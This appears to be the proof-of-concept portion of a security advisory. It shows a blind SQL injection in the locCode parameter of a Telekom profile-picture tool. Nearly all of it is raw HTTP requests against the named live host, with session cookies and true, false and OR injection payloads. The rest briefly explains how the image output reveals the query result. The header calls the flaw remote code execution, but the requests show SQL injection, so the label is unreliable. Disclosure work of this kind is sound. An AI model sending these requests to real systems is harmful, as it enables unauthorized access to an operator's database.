Proof of Concept (PoC):
=======================
The remote code execution vulnerability can be exploited by remote attackers without user interaction or privileged user accounts.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below.


Send this request first ...

POST /scripts/php/process.php HTTP/1.1
Host: profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) 

Gecko/20100101 Firefox/25.0
Accept: text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: 

XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: http://profilbildtool.telekom.de/imagecropper.php?lang=en
Content-Length: 96
Cookie:PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=rd10o00000000000000000000ffffac1c0a0eo8080
Connection: keep-alive
Pragma: no-cache
Cache-

Control: no-cache
imgType=twitter&usage=official&branch=tmobile&color=magenta&txtSize=small&locCode=AT'+and+'a'='a



Get the Image the image with this request ...

GET 
/scripts/php/downloadImage.php HTTP/1.1
Host: profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: 

http://profilbildtool.telekom.de/imagecropper.php?lang=en
Cookie: PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=1
Connection: keep-alive



because ...

locCode=AT'+and+'a'='a
is TRUE you will see that the image has "AT" in the top left corner 

Repeat with these two requests ...

//Generate the image

POST 

/scripts/php/process.php HTTP/1.1
Host: profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: 

text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Content-Type: 

application/x-www-form-urlencoded; charset=utf-8
Referer: http://profilbildtool.telekom.de/imagecropper.php?lang=en
Content-Length: 96
Cookie:PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=rd10o00000000000000000000ffffac1c0a0eo8080
Connection: keep-alive
Pragma: no-cache
Cache-

Control: no-cache
imgType=twitter&usage=official&branch=tmobile&color=magenta&txtSize=small&locCode=AT'+and+'b'='a

// Get the image

GET /scripts/php/downloadImage.php 

HTTP/1.1
Host: profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: 

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: 

http://profilbildtool.telekom.de/imagecropper.php?lang=en
Cookie: PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=1
Connection: keep-alive

Because ...

the condition is FALSE 
the image won't have AT in the TOP corner


To doublecheck

//Generate another image in with this request

POST /scripts/php/process.php HTTP/1.1
Host: 

profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html, application/xml, text/xml, 

*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: http://profilbildtool.telekom.de/imagecropper.php?lang=en
Content-Length: 96
Cookie:PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-

10_po_UKS_Internet=rd10o00000000000000000000ffffac1c0a0eo8080
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
imgType=twitter&usage=official&branch=tmobile&color=magenta&txtSize=small&locCode=AT'+OR+'a'='a


//Get the image

GET /scripts/php/downloadImage.php HTTP/1.1
Host: 

profilbildtool.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml

+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://profilbildtool.telekom.de/imagecropper.php?

lang=en
Cookie: PHPSESSID=rf4kuenldjmr24q77bv293q503; BIGipServerRD-10_po_UKS_Internet=1
Connection: keep-alive

Now you will see that the image has AR in the top left 

corner ... Why AR?? 
If you check the page ... http://profilbildtool.telekom.de/imagecropper.php?lang=en

you will find in type of activity section the Lead Accounts 

parameter, the first item in the list is AR which 
is the result when the OR condition is TRUE it returns all the locations and it chooses the first one